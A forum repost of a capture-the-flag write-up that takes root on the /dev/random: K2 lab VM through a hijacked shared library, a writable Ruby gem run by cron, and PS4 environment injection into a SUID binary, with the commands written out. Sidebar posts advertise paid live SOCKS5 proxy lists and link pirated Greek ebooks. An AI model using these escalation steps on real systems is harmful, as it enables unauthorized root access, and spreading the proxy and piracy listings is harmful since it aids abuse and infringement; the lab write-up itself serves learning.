Jump to content
CyberKid

Hack the /dev/random: K2 VM (boot2root Challenge)

Recommended Posts

CyberKid

Hello friends! Today we are going to take another CTF challenge known as /dev/random: k2. The credit for making this vm machine goes to “Sagi-” and it is another boot2root challenge in which our goal is to get root to complete the challenge. You can download this VM here.

We are given the credentials to login the VM machine (user:password)

Let us start form getting to know the IP of VM (Here, I have it at 192.168.199.138 but you will have to find your own

netdiscover
1
netdiscover

1.png?w=687&ssl=1

We use the given credential to login through ssh. After loggin in we check the sudoers list and find that we can run /bin/calc as user “user2”.

ssh user@192.168.199.138 sudo -l
1
2
ssh user@192.168.199.138
sudo -l

2.png?w=687&ssl=1

We use strace to debug the binary and if there are missing files or dependencies. We find there is a shared object file missing in /home/user/.config/ directory called libcalc.so.

strace /bin/calc 2>&1 | grep -i -E “open|access”
1
strace /bin/calc 2>&1 | grep -i -E open|access

3.png?w=687&ssl=1

We check /home directory and find that the user directory has all permission for the owner only. We give read and execute permission to users in the same group and others. Then we created a directory called .config so that we can create our shared object inside it.

4.png?w=687&ssl=1

We created a binary that copy’s /bin/bash into /tmp directory, give it suid permission and run it.

5.png?w=687&ssl=1

We save the file as libcalc.c, then we compile and run the /bin/calc as user2. As soon as we run the application we check the id and find that we have successfully spawned a shell as user2.

gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c sudo -u user2 /bin/calc
1
2
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
sudo -u user2 /bin/calc

6.png?w=687&ssl=1

After spawning a shell as user2 we try to enumerate the machine and find that there is cronjob that runs a file called /sbin/bckup for user3.

7.png?w=687&ssl=1

We check the content of this file and find that it is a ruby script that creates a zip file in /tmp/ directory.

8.png?w=687&ssl=1

We check the zip library of that this ruby is using and find that we can write the file.

9.png?w=687&ssl=1

We change the content of the file and add that bash command to copy /bin/bash and save it in /tmp/ directory as bash2 and set suid bit.

echo ‘`cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2`’ > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb
1
echo `cp /bin/bash /tmp/bash2 && chmod +s /tmp/bash2` > /usr/local/share/gems/gems/rubyzip-1.2.1/lib/zip.rb

10.png?w=687&ssl=1

We wait for some time and go to the /tmp/ directory. After changing the directory, we find bash2 has been created by user3. We run the new bash file and successfully spawn a shell as user3.

11.png?w=687&ssl=1

As we effective user id and not the actual used id of user3. We create a c program that spawns a shell as user3’s uid and gid.

12.png?w=687&ssl=1

We compile the program and run it. After running the program, we successfully spawn a shell with user3’s uid and gid.

gcc bash3.c -o bash3
1
gcc bash3.c -o bash3

13.png?w=687&ssl=1

Now we try find files with suid bit set and find a file called “whoisme” is “/usr/bin/local/” directory.

find / -perm -4000 2>/dev/null
1
find / -perm -4000 2>/dev/null

14.png?w=687&ssl=1

When we run the file it outputs the string “user”. When we check binary file with strings command we find that it runs setuid, system, setgid and logname command.

15.png?w=687&ssl=1

We run by ignoring the enviroment we use PS4 variable to copy /bin/bash in /tmp/ directory as bash4 and change the ownership to root and set suid bit and run it along the binary file.

env -i SHELLOPTS=xstrace PS4=’$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4)’ /bin/sh -c  ‘/usr/local/bin/whoisme’
1
env -i SHELLOPTS=xstrace PS4=$(cp /bin/bash /tmp/bash4 && chown root.root /tmp/bash4 && chmod +s /tmp/bash4) /bin/sh -c  /usr/local/bin/whoisme

16.png?w=687&ssl=1

As soon as we run the file we find our copied bash file. We run the file and spawn a shell as root user. We go to root directory and a file called flag.txt.

17.png?w=687&ssl=1

We take a look at the content of the file and find our congratulatory flag.

18.png?w=687&ssl=1

 

Share this post


Link to post
Share on other sites

Δημιουργήστε ένα λογαριασμό ή συνδεθείτε προκειμένου να το δείτε

Πρέπει να είστε μέλος για να μπορέσετε να αφήσετε κάποιο σχόλιο

Δημιουργία λογαριασμού

Κάντε μια δωρεάν εγγραφή στην κοινότητά μας. Η εγγραφές μας είναι εύκολες.!

Εγγραφή τώρα

Σύνδεση

Εάν έχετε ήδη λογαριασμό σε αυτό το Forum; Συνδεθείτε εδώ.

Συνδεθείτε τώρα

  • Μηνύματα

    • tisocks
      SOCKS Proxy List by Tisocks.net
      If you Need Socks5 , Please visit service and add fund via PM , BTC WMZ , WEX . Thanks all!!
      Add fund : https://tisocks.net/addfund
      Check socks5 Online here : https://checksocks5.com
      LIVE | 192.169.232.12:9295 | 0.234 | SOCKS5 | Arizona | 85260 | ip-192-169-232-12.ip.secureserver.net | United States | Checked at https://tisocks.net
      LIVE | 192.169.250.198:40759 | 0.232 | SOCKS5 | Arizona | 85260 | ip-192-169-250-198.ip.secureserver.net | United States | Checked at https://tisocks.net
      LIVE | 181.225.99.251:9999 | 0.355 | SOCKS5 | Unknow | Unknow | azteca-comunicaciones.com | Colombia | Checked at https://tisocks.net
      LIVE | 132.148.129.183:33814 | 0.331 | SOCKS5 | Arizona | 85260 | ip-132-148-129-183.ip.secureserver.net | United States | Checked at https://tisocks.net
      LIVE | 84.21.102.89:9999 | 0.505 | SOCKS5 | Vysocina | 592 42 | cl084021102089.unet.cz | Czech Republic | Checked at https://tisocks.net
      LIVE | 46.151.104.160:9999 | 0.526 | SOCKS5 | Moskva | 141342 | 46-151-104-160.telecombis.ru | Russian Federation | Checked at https://tisocks.net
      LIVE | 195.123.210.73:443 | 0.51 | SOCKS5 | Unknow | Unknow | kostelvania.uaserver2 | Latvia | Checked at https://tisocks.net
      LIVE | 109.106.136.6:9999 | 0.554 | SOCKS5 | Voronezh | 394000 | N/A | Russian Federation | Checked at https://tisocks.net
      LIVE | 88.203.36.209:9999 | 0.516 | SOCKS5 | Unknow | QRM | c36-209.i05-10.onvol.net | Malta | Checked at https://tisocks.net
      LIVE | 165.98.96.126:9999 | 0.395 | SOCKS5 | Managua | Unknow | ip-96-126.amnet.com.ni | Nicaragua | Checked at https://tisocks.net
      LIVE | 185.156.232.228:9999 | 0.556 | SOCKS5 | Puglia | 71011 | N/A | Italy | Checked at https://tisocks.net
      LIVE | 206.223.246.71:42599 | 0.094 | SOCKS5 | Unknow | Unknow | | Unknow | Checked at https://tisocks.net
      LIVE | 202.61.121.145:9999 | 1.025 | SOCKS5 | Tamil Nadu | 601301 | N/A | India | Checked at https://tisocks.net
      LIVE | 178.32.207.56:55678 | 0.235 | SOCKS5 | Texas | 79022 | N/A | United States | Checked at https://tisocks.net
      LIVE | 157.119.225.225:9999 | 1.09 | SOCKS5 | Rajasthan | 321001 | N/A | India | Checked at https://tisocks.net
       
    • shopsocks5.com
      [Shopsocks5.com] Service Socks5 Cheap
      Payment Instantly Perfectmoney, Bitcoin, Wmtransfer, BTC-E ( Please click Buy Socks )
      Check Socks Online  http://shopsocks5.com/check/




        Live | 45.55.169.78:19556 | United States | New York | NY | 10118 | Checked at Shopsocks5.com Live | 80.211.146.160:5636 | Denmark | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 97.74.230.16:44951 | United States | Scottsdale | AZ | 85260 | Checked at Shopsocks5.com Live | 118.139.176.242:1197 | Singapore | Singapore | 00 | Unknown | Checked at Shopsocks5.com Live | 45.55.169.78:64486 | United States | New York | NY | 10118 | Checked at Shopsocks5.com Live | 222.165.225.245:18959 | Indonesia | Jakarta | 04 | Unknown | Checked at Shopsocks5.com Live | 216.187.82.76:1922 | United States | New York | NY | 10004 | Checked at Shopsocks5.com Live | 97.74.230.16:36446 | United States | Scottsdale | AZ | 85260 | Checked at Shopsocks5.com Live | 107.170.254.167:40370 | United States | San Francisco | CA | 94101 | Checked at Shopsocks5.com Live | 60.248.223.190:3021 | Taiwan | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 109.104.79.203:14541 | United Kingdom | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 125.227.69.220:3265 | Taiwan | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 116.212.152.103:60595 | Cambodia | Phnom Penh | 11 | Unknown | Checked at Shopsocks5.com Live | 185.222.202.130:3128 | Unknown | Unknown | Unknown | Unknown | Checked at Shopsocks5.com Live | 138.68.67.164:10800 | United States | Wilmington | DE | 19880 | Checked at Shopsocks5.com Live | 69.12.65.105:8912 | United States | Los Angeles | CA | 90014 | Checked at Shopsocks5.com
    • Black
      Δεν λειτουργεί το link, μήπως τα έχει κάποιος? Ευχαριστώ.  
    • dionysos
      ΣΑΡΑΝΤΑ ΠΡΑΓΜΑΤΑ ΠΟΥ ΘΕΛΩ ΝΑ ΣΟΥ ΠΩ ΑΛΙΣ ΚΑΙΠΕΡΣ - KUIPERS ALICE


      Η ΚΟΡΥΦΑΙΑ ΣΥΜΒΟΥΛΗ: ΟΡΙΣΜΕΝΑ ΜΥΣΤΙΚΑ ΕΙΝΑΙ ΑΔΥΝΑΤΟΝ ΝΑ ΤΑ ΚΡΑΤΗΣΕΙΣ Η Έιμι φαίνεται να έχει την τέλεια ζωή: γονείς που την καταλαβαίνουν, ένα καυτό αγόρι και την καλύτερη κολλητή. Κρατάει και μια διαδικτυακή στήλη με συμβουλές προς τους εφήβους προκειμένου να πάρουν τον έλεγχο της ζωής τους. Όταν όμως στο σχολείο κάνει την εμφάνισή του ένας σούπερ τύπος, η Έιμι είναι ανίκανη να ακολουθήσει τις ίδιες τις συμβουλές της. Ο Πιτ είναι το κλασικό «κακό» αγόρι. Είναι όλα όσα δεν είναι η Έιμι: άγριος, χωρίς φιλοδοξίες και λίγο επικίνδυνος. Και παρόλο που η Έιμι τα συνειδητοποιεί όλα αυτά, δεν μπορεί να κρατηθεί μακριά του. Και όσο πιο πολύ κολλάει μαζί του, τόσο περισσότερο ραγίζει η σχέση της με τον Γκρίφιν. Ένα λάθος, μια στιγμιαία απώλεια ελέγχου αρκεί για να καταστρέψει για πάντα το μέλλον της…


      Συγγραφέας: Kuipers Alice
      Ξενόγλωσσος Τίτλος: 40 THINGS I WANT TO TELL YOU
      Εκδότης: Ψυχογιός
      Γλώσσα: ελληνικά
      Μεταφραστής: ΜΠΟΥΜΠΟΥΡΗ ΡΑΝΙΑ
      Έτος Έκδοσης: 2013
      Σελίδες: 181
      Μορφή αρχείου: pdf
      Μέγεθος αρχείου zip: 12.0MB



      [hide] http://www.easybytez.com/zx4tabedntb3 [/hide]
    • dionysos
      ΕΞΟΧΙΚΟ ΜΕ ΠΙΣΙΝΑ - HERMAN KOCH


      Η ιστορία ξεκινά το περασμένο καλοκαίρι, όταν ο δόκτωρ Μαρκ Σλόσερ, η σύζυγος και οι δυο πανέμορφες έφηβες κόρες τους φιλοξενούνται για μια εβδομάδα στο εξοχικό με πισίνα του σταρ της υποκριτικής Ραλφ Μέγιερ. Στην αρχή όλα είναι τέλεια, γύρω από την πισίνα ο Ραλφ, οι δυο του γιοι, η πανέμορφη σύζυγός του Γιούντιτ και οι φίλοι τους απολαμβάνουν τον μεσογειακό ήλιο, ενώ το κρασί ρέει άφθονο. Μια πράξη βίας όμως θα διαταράξει την ειδυλλιακή ατμόσφαιρα και η σκοτεινή πλευρά των πραγμάτων θα αποκαλυφθεί. Κανείς δεν μπορεί να εμπιστευτεί κανέναν πλέον. Οι ιδανικές διακοπές μετατρέπονται σε εφιάλτη.
       
      Λίγους μήνες αργότερα, ο Ραλφ Μέγιερ πεθαίνει. Ιατρικό λάθος ή εγκληματική αμέλεια του γιατρού των πλούσιων και διάσημων Μαρκ Σλόσερ; Μήπως τα γεγονότα του καλοκαιριού κρύβουν την απάντηση γι' αυτή την τραγωδία;
      (Από την παρουσίαση στο οπισθόφυλλο του βιβλίου)
       
      "Το μυστήριο στο Εξοχικό με πισίνα δεν είναι ο δράστης, αλλά μέχρι ποιο σημείο μπορεί να φθάσει ο διεστραμμένος ψυχισμός και η παράνοια του Μαρκ, ο οποίος προσπαθεί συνεχώς να δείχνει ένα άλλο πρόσωπο στους άλλους, ενώ είναι, εν τέλει, ο πλέον αποκρουστικός απ' όλους τους χαρακτήρες. Ο Κοχ μετατρέπει τον ειδυλλιακό περίγυρο με τους πολιτισμένους παραθεριστές σε σκηνικό τρόμου, τον απαραβίαστο χώρο του ιατρείου σε σφαγείο, φέροντας στην επιφάνεια τις σκοτεινές παρορμήσεις και τον διεστραμμένο ψυχισμό ανθρώπων που κάτω από το προσωπείο του πολιτισμένου είναι ικανοί να αφήσουν αχαλίνωτα τα πλέον αποκρουστικά και νοσηρά ένστικτά τους.
       
       
      Ένα ανησυχαστικά ρεαλιστικό ψυχολογικό θρίλερ που όπως και το Δείπνο αμφισβητεί κάθε έννοια του πολιτισμένου δυτικού ανθρώπου, την χαλιναγώγηση των παρορμήσεων αλλά και την ευκολία της καταπάτησης κάθε ηθικού κώδικα μπροστά στην απειλή της αρπαγής των κεκτημένων του."
      (Αργυρώ Μαντόγλου, bookpress.gr, 10/7/2014)
       
       
      "Δεν μπορούσα να σταματήσω να το διαβάζω. Δεν θυμάμαι την τελευταία φορά που ένα βιβλίο μου προκαλούσε αυτό το αίσθημα: να θέλω να βγω από το δέρμα μου... Κεφάλαιο το κεφάλαιο, ο σοκαριστικός κυνισμός του και το τοξικό του χιούμορ με καθήλωναν." (Washington Post)
       
       
      "Ο Koch χρησιμοποιεί τη γλώσσα σαν στηθοσκόπιο ώστε να ακούσει ο αναγνώστης τους χτύπους της καρδιάς των ηρώων του και τα σπλαχνικά αισθήματά τους: τον φθόνο, την αγάπη, τον φόβο και το μίσος."
      (Guardian)
       
       
      "Η γραφή του Koch διακρίνεται για τη μοναδική της διαύγεια και τη μανιασμένη ευθυμία της... Πάρτε αυτό το βιβλίο στην παραλία, θα σας καθηλώσει και θα σας... ανατριχιάσει."
      (Independent)


      Τίτλος Βιβλίου: Εξοχικό με πισίνα
      Συγγραφέας: Herman Koch
      Εκδότης: Μεταίχμιο
      Γλώσσα: Ελληνικά
      Μορφή αρχείου: pdf
      Μέγεθος αρχείου zip: 12.4MB



      [hide] http://www.easybytez.com/glk2kqcqv5gf [/hide]

Footer title

This content can be configured within your theme settings in your ACP. You can add any HTML including images, paragraphs and lists.

Footer title

This is an example of a list.

Footer title

This content can be configured within your theme settings in your ACP. You can add any HTML including images, paragraphs and lists.

Footer title

This content can be configured within your theme settings in your ACP. You can add any HTML including images, paragraphs and lists.

×